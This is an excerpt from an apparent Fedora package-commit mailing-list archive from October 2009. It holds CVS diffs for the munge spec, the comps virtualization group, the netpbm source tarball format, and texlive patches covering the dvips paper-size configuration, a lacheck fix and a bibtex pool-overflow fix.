@@ -145,8 +153,6 @@ exit 0
 %{_mandir}/man1/unmunge.1.gz
 %{_mandir}/man7/munge.7.gz
 %{_mandir}/man8/munged.8.gz
-%{_libdir}/libmunge.so.2
-%{_libdir}/libmunge.so.2.0.0
 
 %attr(-,munge,munge) %dir  %{_var}/run/munge
 %attr(0700,munge,munge) %dir  %{_var}/log/munge
@@ -165,7 +171,10 @@ exit 0
 %doc JARGON META NEWS QUICKSTART README 
 %doc doc
 
-
+%files libs
+%defattr(-,root,root,-)
+%{_libdir}/libmunge.so.2
+%{_libdir}/libmunge.so.2.0.0
 
 %files devel
 %defattr(-,root,root,-)
@@ -189,6 +198,9 @@ exit 0
 
 
 %changelog
+* Wed Oct 21 2009 Steve Traylen <steve.traylen at cern.ch> - 0.5.8-7
+- rhbz#530128 Move runtime libs to a new -libs package.
+  ldconfig moved to new -libs package as a result.
 * Sat Sep 26 2009 Steve Traylen <steve.traylen at cern.ch> - 0.5.8-6
 - Patch for rhbz #525732 - Loads /etc/sysconfig/munge 
   correctly.



From jforbes at fedoraproject.org  Wed Oct 21 17:10:04 2009
From: jforbes at fedoraproject.org (Justin M. Forbes)
Date: Wed, 21 Oct 2009 17:10:04 +0000 (UTC)
Subject: comps comps-f12.xml.in,1.166,1.167 comps-f13.xml.in,1.53,1.54
Message-ID: <20091021171004.3C41C11C02A4@cvs1.fedora.phx.redhat.com>

Author: jforbes

Update of /cvs/pkgs/comps
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv17903

Modified Files:
	comps-f12.xml.in comps-f13.xml.in 
Log Message:
Add libvirt to virtualization group (#530015)


Index: comps-f12.xml.in
===================================================================
RCS file: /cvs/pkgs/comps/comps-f12.xml.in,v
retrieving revision 1.166
retrieving revision 1.167
diff -u -p -r1.166 -r1.167
--- comps-f12.xml.in	21 Oct 2009 14:30:44 -0000	1.166
+++ comps-f12.xml.in	21 Oct 2009 17:10:03 -0000	1.167
@@ -5944,6 +5944,7 @@
     <packagelist>
       <packagereq type="mandatory">python-virtinst</packagereq>
       <packagereq type="default">qemu-kvm</packagereq>
+      <packagereq type="default">libvirt</packagereq>
       <packagereq type="default">virt-manager</packagereq>
       <packagereq type="default">virt-viewer</packagereq>
       <packagereq type="optional">virt-top</packagereq>


Index: comps-f13.xml.in
===================================================================
RCS file: /cvs/pkgs/comps/comps-f13.xml.in,v
retrieving revision 1.53
retrieving revision 1.54
diff -u -p -r1.53 -r1.54
--- comps-f13.xml.in	20 Oct 2009 20:05:16 -0000	1.53
+++ comps-f13.xml.in	21 Oct 2009 17:10:03 -0000	1.54
@@ -5907,6 +5907,7 @@
     <packagelist>
       <packagereq type="mandatory">python-virtinst</packagereq>
       <packagereq type="default">qemu-kvm</packagereq>
+      <packagereq type="default">libvirt</packagereq>
       <packagereq type="default">virt-manager</packagereq>
       <packagereq type="default">virt-viewer</packagereq>
       <packagereq type="optional">virt-top</packagereq>



From jnovy at fedoraproject.org  Wed Oct 21 17:13:55 2009
From: jnovy at fedoraproject.org (Jindrich Novy)
Date: Wed, 21 Oct 2009 17:13:55 +0000 (UTC)
Subject: rpms/netpbm/F-10 .cvsignore, 1.51, 1.52 netpbm.spec, 1.127,
	1.128 sources, 1.55, 1.56
Message-ID: <20091021171355.8F24D11C00E8@cvs1.fedora.phx.redhat.com>

Author: jnovy

Update of /cvs/pkgs/rpms/netpbm/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv19353

Modified Files:
	.cvsignore netpbm.spec sources 
Log Message:
- use bz2 tarball, F10 rpm is unable to handle xz tarballs yet



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/netpbm/F-10/.cvsignore,v
retrieving revision 1.51
retrieving revision 1.52
diff -u -p -r1.51 -r1.52
--- .cvsignore	21 Oct 2009 17:03:39 -0000	1.51
+++ .cvsignore	21 Oct 2009 17:13:55 -0000	1.52
@@ -1 +1 @@
-netpbm-10.47.04.tar.xz
+netpbm-10.47.04.tar.bz2


Index: netpbm.spec
===================================================================
RCS file: /cvs/pkgs/rpms/netpbm/F-10/netpbm.spec,v
retrieving revision 1.127
retrieving revision 1.128
diff -u -p -r1.127 -r1.128
--- netpbm.spec	21 Oct 2009 17:03:41 -0000	1.127
+++ netpbm.spec	21 Oct 2009 17:13:55 -0000	1.128
@@ -10,7 +10,7 @@ URL: http://netpbm.sourceforge.net/
 # svn checkout https://netpbm.svn.sourceforge.net/svnroot/netpbm/stable netpbm-%{version}
 # svn checkout https://netpbm.svn.sourceforge.net/svnroot/netpbm/userguide netpbm-%{version}/userguide
 # and removing the .svn directories
-Source0: netpbm-%{version}.tar.xz
+Source0: netpbm-%{version}.tar.bz2
 Patch1: netpbm-time.patch
 Patch2: netpbm-message.patch
 Patch3: netpbm-security-scripts.patch


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/netpbm/F-10/sources,v
retrieving revision 1.55
retrieving revision 1.56
diff -u -p -r1.55 -r1.56
--- sources	21 Oct 2009 17:03:41 -0000	1.55
+++ sources	21 Oct 2009 17:13:55 -0000	1.56
@@ -1 +1 @@
-87d9e65a88c929bfbc60f9d4f3d87d5b  netpbm-10.47.04.tar.xz
+000fa8b1c55a986e6c5b8ce623e285b5  netpbm-10.47.04.tar.bz2



From jnovy at fedoraproject.org  Wed Oct 21 17:17:21 2009
From: jnovy at fedoraproject.org (Jindrich Novy)
Date: Wed, 21 Oct 2009 17:17:21 +0000 (UTC)
Subject: rpms/texlive/F-12 texlive-dvipsconfig.patch, NONE,
	1.1 texlive-lacheck.patch, 1.2, 1.3 texlive-poolfix.patch, 1.1,
	1.2 texlive-poppler.patch, 1.5, 1.6 texlive.spec, 1.54, 1.55
Message-ID: <20091021171721.0A6C111C00E8@cvs1.fedora.phx.redhat.com>

Author: jnovy

Update of /cvs/pkgs/rpms/texlive/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv21190

Modified Files:
	texlive-lacheck.patch texlive-poolfix.patch 
	texlive-poppler.patch texlive.spec 
Added Files:
	texlive-dvipsconfig.patch 
Log Message:
* Thu Oct 15 2009 Jindrich Novy <jnovy at redhat.com> 2007-45
- make kpathsea not dependent on texlive
- fix lacheck again (#451513)
- fix dvips configuration (#467542)
- update kpathsea description and summary (#519257)
- use upstream patch to fix pool overflow CVE-2009-1284 (#492136)
- don't complain if the pdvipsk hunks touching config.ps don't apply


texlive-dvipsconfig.patch:
 config.ps |  607 ++++++++++++++++++++++++++++++++++++++++++++++++++++++++------
 1 file changed, 555 insertions(+), 52 deletions(-)

--- NEW FILE texlive-dvipsconfig.patch ---
diff -up texlive-2007/texk/dvipsk/config.ps.dvipsconfig texlive-2007/texk/dvipsk/config.ps
--- texlive-2007/texk/dvipsk/config.ps.dvipsconfig	2006-01-17 22:41:51.000000000 +0100
+++ texlive-2007/texk/dvipsk/config.ps	2009-10-15 21:01:23.000000000 +0200
@@ -1,83 +1,586 @@
-* Configuration file for dvips.
-*
-*  Default resolution.  This needs to be correct.
-D 300
-*
-*  Metafont mode to use to generate bitmap fonts.  This needs to be a
-*  mode with the specified resolution.  Various hardwired defaults are
-*  used for a few resolutions, but it is best to specify it explicitly.
-*  http://www.ctan.org/tex-archive/fonts/modes/modes.mf has a list of modes.
-*M modename
-*
-*  Amount of memory.  Not crucial to be exact, if you have a lot.
-m 470000
-*
-*  If unspecified, output goes to a file.
-*  To send output via a pipe to a printing program, use something like:
-*o |lpr
-*o |lpr -Pmyprinter
-*  To send output to standard output by default, use:
-*o -
-*
-*  z1 is "secure", i.e., inhibits execution of `shell commands` in \specials.
-*  Dvips allows this by default.
-*z1
-*
-*  Additional default .map files.
-* p +cmfonts.map
-* p +lafonts.map
-* p +cyrfonts.map
-* p +eufonts.map
-*
-*   Last resort bitmap sizes.
-R  240 270 300 329 360 432 518 622 746 896
-*
-*
-*   Paper size information.  First definition is the default.
-*
-*   If your default is a4 uncomment the following definition
-*   and comment out the letterSize definition.
-@ a4size 210mm 297mm
+% config.ps - configuration file for dvips.
+% Tomas Rokicki, Thomas Esser, Karl Berry, et al., 1986ff, public domain.
+
+% Memory available. Download the three-line PostScript file:
+%   %! Hey, we're PostScript
+%   /Times-Roman findfont 30 scalefont setfont 144 432 moveto
+%   vmstatus exch sub 40 string cvs show pop showpage
+% to determine this number. (It will be the only thing printed.)
+m 3500000
+
+% Run securely.  z2 disables both shell command execution in
+% `\special' and config files (via the `E' option) and opening of any
+% absolute filenames.  z1, the default, forbids shell escapes but
+% allows absolute filenames.  z0 allows both.  The corresponding
+% command line options are -R0|-R1|-R2
+z1
+
+% How to print, maybe with lp instead lpr, etc. If commented-out, output
+% will go into a file by default.
+%o |lpr
+
+% Default resolution of this device, in dots per inch.
+D 600
+X 600
+Y 600
+
+% Metafont mode.  (This is completely different from the -M
+% command-line option, which controls whether mktexpk is invoked.)
+% See ../../metafont/misc/modes.mf for a list of mode names.  This mode
+% and the D number above must agree, or mktexpk will get confused.
+M ljfour
+
+% Last resort bitmap sizes.
+R 300 600
+
+% Correct printer offset. You can use testpage.tex from the LaTeX
+% distribution to find these numbers.
+O 0pt,0pt
+
+% Bitmap font compression. Results in more compact output files, but
+% sometimes causes trouble. So the default is disabled. Set Z1 to enable
+% this feature.
+Z0
+
+% Partially download Type 1 fonts by default.  Only reason not to do
+% this is if you encounter bugs.  (Please report them to
+% @email{tex-k at tug.org} if you do.)
+j
+
+% This shows how to add your own map file.
+% Remove the comment and adjust the name:
+% p +myfonts.map
+
+% If we have setpagedevice, use that.
+% else if we have the a4 resp. letter operator, use that.
+% else do nothing to set the page size.
+% 
+% In the past, the a4size and letterSize definitions did not set the
+% page size, but we want to set it if we can so that ps2pdf can work
+% properly.  Here, a4 and a4size, and letter and letterSize, are
+% identical, and we prefer the a4/letter names -- texconfig uses them.
+ 
+% 0 0 595 842 is the right bounding box that applications expect
+% for A4.  Since dvips always rounds up, choose something slightly
+% smaller for our paper size.
+
+@ a4 210mm 297mm
 @+ ! %%DocumentPaperSizes: a4
- at + %%PaperSize: a4
+ at + %%BeginPaperSize: a4
+ at + /setpagedevice where
+ at +  { pop << /PageSize [595 842] >> setpagedevice }
+ at +  { /a4 where { pop a4 } if }
+ at + ifelse
+ at + %%EndPaperSize
 
-*@ letterSize 8.5in 11in
+@ letter 8.5in 11in
 @+ ! %%DocumentPaperSizes: Letter
+ at + %%BeginPaperSize: Letter
+ at + /setpagedevice where
+ at +  { pop << /PageSize [612 792] >> setpagedevice }
+ at +  { /letter where { pop letter } if }
+ at + ifelse
+ at + %%EndPaperSize
 
-@ letter 8.5in 11in
+@ a4size 210mm 297mm
+ at + ! %%DocumentPaperSizes: a4
+ at + %%BeginPaperSize: a4
+ at + /setpagedevice where
+ at +  { pop << /PageSize [595 842] >> setpagedevice }
+ at +  { /a4 where { pop a4 } if }
+ at + ifelse
+ at + %%EndPaperSize
+
+@ letterSize 8.5in 11in
 @+ ! %%DocumentPaperSizes: Letter
 @+ %%BeginPaperSize: Letter
- at + %letter
+ at + /setpagedevice where
+ at +  { pop << /PageSize [612 792] >> setpagedevice }
+ at +  { /letter where { pop letter } if }
+ at + ifelse
+ at + %%EndPaperSize
+
+% The jacow paper size is the smaller of letter and a4 in both
+% dimensions, and can therefore hopefully be printed on either paper
+% size.  As far as we know, Volker Schaa first used it for the JACOW
+% conference proceedings that he produced.
+@ jacow 210mm 11in
+ at + ! %%DocumentPaperSizes: jacow
+ at + %%BeginPaperSize: jacow
+ at + /setpagedevice where
+ at +  { pop << /PageSize [595 792] >> setpagedevice }
+ at + if
+ at + %%EndPaperSize
+
+% The smallbook paper size has been used by the Free Software Foundation
+% to print manuals for many years, and is part of Texinfo.
+@ smallbook 7in 9.25in
+ at + ! %%DocumentPaperSizes: smallbook
+ at + %%BeginPaperSize: smallbook
+ at + /setpagedevice where
+ at +  { pop << /PageSize [504 666] >> setpagedevice }
+ at + if
+ at + %%EndPaperSize
+
+@ halfexecutive 133mm 184mm
+ at + ! %%DocumentPaperSizes: halfexecutive
+ at + %%BeginPaperSize: halfexecutive
+ at + /setpagedevice where
+ at +  { pop << /PageSize [378 522] >> setpagedevice }
+ at + if
+ at + %%EndPaperSize
+
+@ halfletter 140mm 216mm
+ at + ! %%DocumentPaperSizes: halfletter
+ at + %%BeginPaperSize: halfletter
+ at + /setpagedevice where
+ at +  { pop << /PageSize [396 612] >> setpagedevice }
+ at + if
+ at + %%EndPaperSize
+
+@ statement 140mm 216mm
+ at + ! %%DocumentPaperSizes: statement
+ at + %%BeginPaperSize: statement
+ at + /setpagedevice where
+ at +  { pop << /PageSize [396 612] >> setpagedevice }
+ at + if
+ at + %%EndPaperSize
+
+@ executive 184mm 267mm
+ at + ! %%DocumentPaperSizes: executive
+ at + %%BeginPaperSize: executive
+ at + /setpagedevice where
+ at +  { pop << /PageSize [522 756] >> setpagedevice }
+ at + if
+ at + %%EndPaperSize
+
+% for powerdot
+@ screen 8.25in 11in
+ at + ! %%DocumentPaperSizes: Screen
+ at + %%BeginPaperSize: Screen
+ at + /setpagedevice where
+ at +  { pop << /PageSize [594 792] >> setpagedevice }
+ at + if
+ at + %%EndPaperSize
+
+% a common size for printers (in north america).
+@ sixbynine 6in 9in
+ at + ! %%DocumentPaperSizes: SixByNine
+ at + %%BeginPaperSize: SixByNine
+ at + /setpagedevice where
+ at +  { pop << /PageSize [432 648] >> setpagedevice }
+ at + if
+ at + %%EndPaperSize
+
+@ quarto 215mm 275mm
+ at + ! %%DocumentPaperSizes: quarto
+ at + %%BeginPaperSize: quarto
+ at + /setpagedevice where
+ at +  { pop << /PageSize [610 780] >> setpagedevice }
+ at + if
+ at + %%EndPaperSize
+
+@ note 216mm 279mm
+ at + ! %%DocumentPaperSizes: note
+ at + %%BeginPaperSize: note
+ at + /setpagedevice where
+ at +  { pop << /PageSize [612 792] >> setpagedevice }
+ at + if
+ at + %%EndPaperSize
+
+@ folio 216mm 330mm
+ at + ! %%DocumentPaperSizes: folio
+ at + %%BeginPaperSize: folio
+ at + /setpagedevice where
+ at +  { pop << /PageSize [612 936] >> setpagedevice }
+ at + if
 @+ %%EndPaperSize
 
 @ legal 8.5in 14in
 @+ ! %%DocumentPaperSizes: Legal
 @+ %%BeginPaperSize: Legal
- at + %legal
+ at + /setpagedevice where
+ at +  { pop << /PageSize [612 1008] >> setpagedevice }
+ at + if
+ at + %%EndPaperSize
+
+@ 10x14 10in 14in
+ at + ! %%DocumentPaperSizes: 10x14
+ at + %%BeginPaperSize: 10x14
+ at + /setpagedevice where
+ at +  { pop << /PageSize [720 1008] >> setpagedevice }
+ at + if
 @+ %%EndPaperSize
 
 @ ledger 17in 11in
 @+ ! %%DocumentPaperSizes: Ledger
 @+ %%BeginPaperSize: Ledger
- at + %ledger
+ at + /setpagedevice where
+ at +  { pop << /PageSize [1224 792] >> setpagedevice }
+ at + if
 @+ %%EndPaperSize
 
 @ tabloid 11in 17in
 @+ ! %%DocumentPaperSizes: Tabloid
 @+ %%BeginPaperSize: Tabloid
- at + %11x17
+ at + /setpagedevice where
+ at +  { pop << /PageSize [792 1224] >> setpagedevice }
+ at + if
 @+ %%EndPaperSize
 
-@ a4 210mm 297mm
- at + ! %%DocumentPaperSizes: a4
- at + %%BeginPaperSize: a4
- at + %a4
+@ 11x17 11in 17in
+ at + ! %%DocumentPaperSizes: 11x17
+ at + %%BeginPaperSize: 11x17
+ at + /setpagedevice where
+ at +  { pop << /PageSize [792 1224] >> setpagedevice }
+ at + if
+ at + %%EndPaperSize
+
+@ a0 841mm 1189mm
+ at + ! %%DocumentPaperSizes: a0
+ at + %%BeginPaperSize: a0
+ at + /setpagedevice where
+ at +  { pop << /PageSize [2384 3370] >> setpagedevice }
+ at +  { /a0 where { pop a0 } if }
+ at + ifelse
+ at + %%EndPaperSize
+
+@ a1 594mm 841mm
+ at + ! %%DocumentPaperSizes: a1
+ at + %%BeginPaperSize: a1
+ at + /setpagedevice where
+ at +  { pop << /PageSize [1684 2384] >> setpagedevice }
+ at +  { /a1 where { pop a1 } if }
+ at + ifelse
+ at + %%EndPaperSize
+
+@ a2 420mm 594mm
+ at + ! %%DocumentPaperSizes: a2
+ at + %%BeginPaperSize: a2
+ at + /setpagedevice where
+ at +  { pop << /PageSize [1191 1684] >> setpagedevice }
+ at +  { /a2 where { pop a2 } if }
+ at + ifelse
 @+ %%EndPaperSize
 
 @ a3 297mm 420mm
 @+ ! %%DocumentPaperSizes: a3
 @+ %%BeginPaperSize: a3
- at + %a3
+ at + /setpagedevice where
+ at +  { pop << /PageSize [842 1191] >> setpagedevice }
+ at +  { /a3 where { pop a3 } if }
+ at + ifelse
+ at + %%EndPaperSize
+
+@ a5 148mm 210mm
+ at + ! %%DocumentPaperSizes: a5
+ at + %%BeginPaperSize: a5
+ at + /setpagedevice where
+ at +  { pop << /PageSize [420 595] >> setpagedevice }
+ at +  { /a5 where { pop a5 } if }
+ at + ifelse
+ at + %%EndPaperSize
+
+@ a6 105mm 148mm
+ at + ! %%DocumentPaperSizes: a6
+ at + %%BeginPaperSize: a6
+ at + /setpagedevice where
+ at +  { pop << /PageSize [298 420] >> setpagedevice }
+ at +  { /a6 where { pop a6 } if }
+ at + ifelse
+ at + %%EndPaperSize
+
+@ a7 74mm 105mm
+ at + ! %%DocumentPaperSizes: a7
+ at + %%BeginPaperSize: a7
+ at + /setpagedevice where
+ at +  { pop << /PageSize [210 298] >> setpagedevice }
+ at +  { /a7 where { pop a7 } if }
+ at + ifelse
+ at + %%EndPaperSize
+
+@ a8 52mm 74mm
+ at + ! %%DocumentPaperSizes: a8
+ at + %%BeginPaperSize: a8
+ at + /setpagedevice where
+ at +  { pop << /PageSize [147 210] >> setpagedevice }
+ at +  { /a8 where { pop a8 } if }
+ at + ifelse
+ at + %%EndPaperSize
+
+@ a9 37mm 52mm
+ at + ! %%DocumentPaperSizes: a9
+ at + %%BeginPaperSize: a9
+ at + /setpagedevice where
+ at +  { pop << /PageSize [105 147] >> setpagedevice }
+ at +  { /a9 where { pop a9 } if }
+ at + ifelse
+ at + %%EndPaperSize
+
+@ a10 26mm 37mm
+ at + ! %%DocumentPaperSizes: a10
+ at + %%BeginPaperSize: a10
+ at + /setpagedevice where
+ at +  { pop << /PageSize [74 105] >> setpagedevice }
+ at +  { /a10 where { pop a10 } if }
+ at + ifelse
+ at + %%EndPaperSize
+
+@ jisb0 1030mm 1456mm
+ at + ! %%DocumentPaperSizes: jisb0
+ at + %%BeginPaperSize: jisb0
+ at + /setpagedevice where
+ at +  { pop << /PageSize [2920 4127] >> setpagedevice }
+ at +  { /jisb0 where { pop jisb0 } if }
+ at + ifelse
+ at + %%EndPaperSize
+
+@ jisb1 728mm 1030mm
+ at + ! %%DocumentPaperSizes: jisb1
+ at + %%BeginPaperSize: jisb1
+ at + /setpagedevice where
+ at +  { pop << /PageSize [2064 2920] >> setpagedevice }
+ at +  { /jisb1 where { pop jisb1 } if }
+ at + ifelse
+ at + %%EndPaperSize
+
+@ jisb2 515mm 728mm
+ at + ! %%DocumentPaperSizes: jisb2
+ at + %%BeginPaperSize: jisb2
+ at + /setpagedevice where
+ at +  { pop << /PageSize [1460 2064] >> setpagedevice }
+ at +  { /jisb2 where { pop jisb2 } if }
+ at + ifelse
+ at + %%EndPaperSize
+
+@ jisb3 364mm 515mm
+ at + ! %%DocumentPaperSizes: jisb3
+ at + %%BeginPaperSize: jisb3
+ at + /setpagedevice where
+ at +  { pop << /PageSize [1032 1460] >> setpagedevice }
+ at +  { /jisb3 where { pop jisb3 } if }
+ at + ifelse
+ at + %%EndPaperSize
+
+@ jisb4 257mm 364mm
+ at + ! %%DocumentPaperSizes: jisb4
+ at + %%BeginPaperSize: jisb4
+ at + /setpagedevice where
+ at +  { pop << /PageSize [729 1032] >> setpagedevice }
+ at +  { /jisb4 where { pop jisb4 } if }
+ at + ifelse
+ at + %%EndPaperSize
+
+@ jisb5 182mm 257mm
+ at + ! %%DocumentPaperSizes: jisb5
+ at + %%BeginPaperSize: jisb5
+ at + /setpagedevice where
+ at +  { pop << /PageSize [516 729] >> setpagedevice }
+ at +  { /jisb5 where { pop jisb5 } if }
+ at + ifelse
+ at + %%EndPaperSize
+
+@ jisb6 128mm 182mm
+ at + ! %%DocumentPaperSizes: jisb6
+ at + %%BeginPaperSize: jisb6
+ at + /setpagedevice where
+ at +  { pop << /PageSize [363 516] >> setpagedevice }
+ at +  { /jisb6 where { pop jisb6 } if }
+ at + ifelse
+ at + %%EndPaperSize
+
+@ jisb7 91mm 128mm
+ at + ! %%DocumentPaperSizes: jisb7
+ at + %%BeginPaperSize: jisb7
+ at + /setpagedevice where
+ at +  { pop << /PageSize [258 363] >> setpagedevice }
+ at +  { /jisb7 where { pop jisb7 } if }
+ at + ifelse
+ at + %%EndPaperSize
+
+@ jisb8 64mm 91mm
+ at + ! %%DocumentPaperSizes: jisb8
+ at + %%BeginPaperSize: jisb8
+ at + /setpagedevice where
+ at +  { pop << /PageSize [181 258] >> setpagedevice }
+ at +  { /jisb8 where { pop jisb8 } if }
+ at + ifelse
+ at + %%EndPaperSize
+
+@ b0 1000mm 1414mm
+ at + ! %%DocumentPaperSizes: b0
+ at + %%BeginPaperSize: b0
+ at + /setpagedevice where
+ at +  { pop << /PageSize [2835 4008] >> setpagedevice }
+ at +  { /b0 where { pop b0 } if }
+ at + ifelse
+ at + %%EndPaperSize
+
+@ b1 707mm 1000mm
+ at + ! %%DocumentPaperSizes: b1
+ at + %%BeginPaperSize: b1
+ at + /setpagedevice where
+ at +  { pop << /PageSize [2004 2835] >> setpagedevice }
+ at +  { /b1 where { pop b1 } if }
+ at + ifelse
+ at + %%EndPaperSize
+
+@ b2 500mm 707mm
+ at + ! %%DocumentPaperSizes: b2
+ at + %%BeginPaperSize: b2
+ at + /setpagedevice where
+ at +  { pop << /PageSize [1417 2004] >> setpagedevice }
+ at +  { /b2 where { pop b2 } if }
+ at + ifelse
+ at + %%EndPaperSize
+
+@ b3 353mm 500mm
+ at + ! %%DocumentPaperSizes: b3
+ at + %%BeginPaperSize: b3
+ at + /setpagedevice where
+ at +  { pop << /PageSize [1001 1417] >> setpagedevice }
+ at +  { /b3 where { pop b3 } if }
+ at + ifelse
+ at + %%EndPaperSize
+
+@ b4 250mm 353mm
+ at + ! %%DocumentPaperSizes: b4
+ at + %%BeginPaperSize: b4
+ at + /setpagedevice where
+ at +  { pop << /PageSize [709 1001] >> setpagedevice }
+ at +  { /b4 where { pop b4 } if }
+ at + ifelse
+ at + %%EndPaperSize
+
+@ b5 176mm 250mm
+ at + ! %%DocumentPaperSizes: b5
+ at + %%BeginPaperSize: b5
+ at + /setpagedevice where
+ at +  { pop << /PageSize [499 709] >> setpagedevice }
+ at +  { /b5 where { pop b5 } if }
+ at + ifelse
+ at + %%EndPaperSize
+
+@ b6 125mm 176mm
+ at + ! %%DocumentPaperSizes: b6
+ at + %%BeginPaperSize: b6
+ at + /setpagedevice where
+ at +  { pop << /PageSize [354 499] >> setpagedevice }
+ at +  { /b6 where { pop b6 } if }
+ at + ifelse
+ at + %%EndPaperSize
+
+@ c5 162mm 229mm
+ at + ! %%DocumentPaperSizes: c5
+ at + %%BeginPaperSize: c5
+ at + /setpagedevice where
+ at +  { pop << /PageSize [459 649] >> setpagedevice }
+ at +  { /c5 where { pop c5 } if }
+ at + ifelse
+ at + %%EndPaperSize
+
+@ DL 110mm 220mm
+ at + ! %%DocumentPaperSizes: DL
+ at + %%BeginPaperSize: DL
+ at + /setpagedevice where
+ at +  { pop << /PageSize [312 624] >> setpagedevice }
+ at + if
+ at + %%EndPaperSize
+
+@ Comm10 105mm 241mm
+ at + ! %%DocumentPaperSizes: Comm10
+ at + %%BeginPaperSize: Comm10
+ at + /setpagedevice where
+ at +  { pop << /PageSize [297 684] >> setpagedevice }
+ at + if
+ at + %%EndPaperSize
+
+@ Monarch 98.4mm 190.5mm
+ at + ! %%DocumentPaperSizes: Monarch
+ at + %%BeginPaperSize: Monarch
+ at + /setpagedevice where
+ at +  { pop << /PageSize [279 540] >> setpagedevice }
+ at + if
+ at + %%EndPaperSize
+
+@ archE 36in 48in
+ at + ! %%DocumentPaperSizes: archE
+ at + %%BeginPaperSize: archE
+ at + /setpagedevice where
+ at +  { pop << /PageSize [2592 3456] >> setpagedevice }
+ at + if
+ at + %%EndPaperSize
+
+@ archD 24in 36in
+ at + ! %%DocumentPaperSizes: archD
+ at + %%BeginPaperSize: archD
+ at + /setpagedevice where
+ at +  { pop << /PageSize [1728 2592] >> setpagedevice }
+ at + if
+ at + %%EndPaperSize
+
+@ archC 18in 24in
+ at + ! %%DocumentPaperSizes: archC
+ at + %%BeginPaperSize: archC
+ at + /setpagedevice where
+ at +  { pop << /PageSize [1296 1728] >> setpagedevice }
+ at + if
+ at + %%EndPaperSize
+
+@ archB 12in 18in
+ at + ! %%DocumentPaperSizes: archB
+ at + %%BeginPaperSize: archB
+ at + /setpagedevice where
+ at +  { pop << /PageSize [864 1296] >> setpagedevice }
+ at + if
+ at + %%EndPaperSize
+
+@ archA 9in 12in
+ at + ! %%DocumentPaperSizes: archA
+ at + %%BeginPaperSize: archA
+ at + /setpagedevice where
+ at +  { pop << /PageSize [648 864] >> setpagedevice }
+ at + if
+ at + %%EndPaperSize
+
+@ flsa 216mm 330.2mm
+ at + ! %%DocumentPaperSizes: flsa
+ at + %%BeginPaperSize: flsa
+ at + /setpagedevice where
+ at +  { pop << /PageSize [612 936] >> setpagedevice }
+ at + if
+ at + %%EndPaperSize
+
+@ flse 216mm 330.2mm
+ at + ! %%DocumentPaperSizes: flse
+ at + %%BeginPaperSize: flse
+ at + /setpagedevice where
+ at +  { pop << /PageSize [612 936] >> setpagedevice }
+ at + if
+ at + %%EndPaperSize
+
+@ csheet 431.8mm 558.8mm
+ at + ! %%DocumentPaperSizes: csheet
+ at + %%BeginPaperSize: csheet
+ at + /setpagedevice where
+ at +  { pop << /PageSize [1224 1584] >> setpagedevice }
+ at + if
+ at + %%EndPaperSize
+
+@ dsheet 558.8mm 863.6mm
+ at + ! %%DocumentPaperSizes: dsheet
+ at + %%BeginPaperSize: dsheet
+ at + /setpagedevice where
+ at +  { pop << /PageSize [1584 2448] >> setpagedevice }
+ at + if
+ at + %%EndPaperSize
+
+@ esheet 863.6mm 1117.6mm
+ at + ! %%DocumentPaperSizes: esheet
+ at + %%BeginPaperSize: esheet
+ at + /setpagedevice where
+ at +  { pop << /PageSize [2448 3168] >> setpagedevice }
+ at + if
 @+ %%EndPaperSize
 
 @ unknown 0in 0in

texlive-lacheck.patch:
 lacheck.lex |   16 ++++++++++------
 1 file changed, 10 insertions(+), 6 deletions(-)

Index: texlive-lacheck.patch
===================================================================
RCS file: /cvs/pkgs/rpms/texlive/F-12/texlive-lacheck.patch,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- texlive-lacheck.patch	27 Aug 2008 13:45:49 -0000	1.2
+++ texlive-lacheck.patch	21 Oct 2009 17:17:20 -0000	1.3
@@ -15,3 +15,30 @@ diff -up texlive-2007/texk/lacheck/lache
  }
  
  void e_checkend(n, name)
+@@ -1075,6 +1075,7 @@ char *name;
+ 	{
+ 	  print_bad_match(name,3);
+           pop();
++          if (gstackp <= 0) return;
+         }
+ 
+          pop();  
+@@ -1090,11 +1091,13 @@ int type;
+ 		 line_count, 
+ 		 eg_command( end_command , type) ) ;
+ 
+-	  printf("\"%s\", line %d: -> unmatched \"%s\"\n",
+-	         CG_FILE, 
+-		 CG_LINE, 
+-		 bg_command( CG_NAME ) ) ;
+-	  warn_count += 2;
++	  if (gstackp > 0) {
++		 printf("\"%s\", line %d: -> unmatched \"%s\"\n",
++		 	 CG_FILE, 
++		 	 CG_LINE, 
++		 	 bg_command( CG_NAME ) ) ;
++		 warn_count += 2;
++	  }
+ }
+ 
+ int check_top_level_end(end_command,type)

texlive-poolfix.patch:
 bibtex.ch |    9 +++++++++
 1 file changed, 9 insertions(+)

Index: texlive-poolfix.patch
===================================================================
RCS file: /cvs/pkgs/rpms/texlive/F-12/texlive-poolfix.patch,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- texlive-poolfix.patch	2 Apr 2009 16:35:45 -0000	1.1
+++ texlive-poolfix.patch	21 Oct 2009 17:17:20 -0000	1.2
@@ -1,54 +1,19 @@
 diff -up texlive-2007/texk/web2c/bibtex.ch.poolfix texlive-2007/texk/web2c/bibtex.ch
 --- texlive-2007/texk/web2c/bibtex.ch.poolfix	2006-12-27 00:37:34.000000000 +0100
-+++ texlive-2007/texk/web2c/bibtex.ch	2009-04-02 18:06:56.000000000 +0200
-@@ -169,7 +169,7 @@ end.
++++ texlive-2007/texk/web2c/bibtex.ch	2009-10-16 06:55:52.000000000 +0200
+@@ -1134,6 +1134,15 @@ while ((ex_buf_xptr < ex_buf_ptr) and
+ @y
+ @z
  
- @x [still 14]
- @!max_bib_files=20; {maximum number of \.{.bib} files allowed}
--@!pool_size=65000; {maximum number of characters in strings}
-+@!pool_size=650000; {maximum number of characters in strings}
- @!max_strings=4000; {maximum number of strings, including pre-defined;
-                                                         must be |<=hash_size|}
- @!max_cites=750; {maximum number of distinct cite keys; must be
-@@ -179,7 +179,7 @@ end.
- @!wiz_fn_space=3000; {maximum amount of |wiz_defined|-function space}
- @y [still 14]
- @!MAX_BIB_FILES=20; {initial number of \.{.bib} files allowed}
--@!POOL_SIZE=65000; {initial number of characters in strings}
-+@!POOL_SIZE=650000; {initial number of characters in strings}
- @!max_strings=35000; {maximum number of strings, including pre-defined;
-                                                         must be |<=hash_size|}
- @!max_cites=5000; {maximum number of distinct cite keys; must be
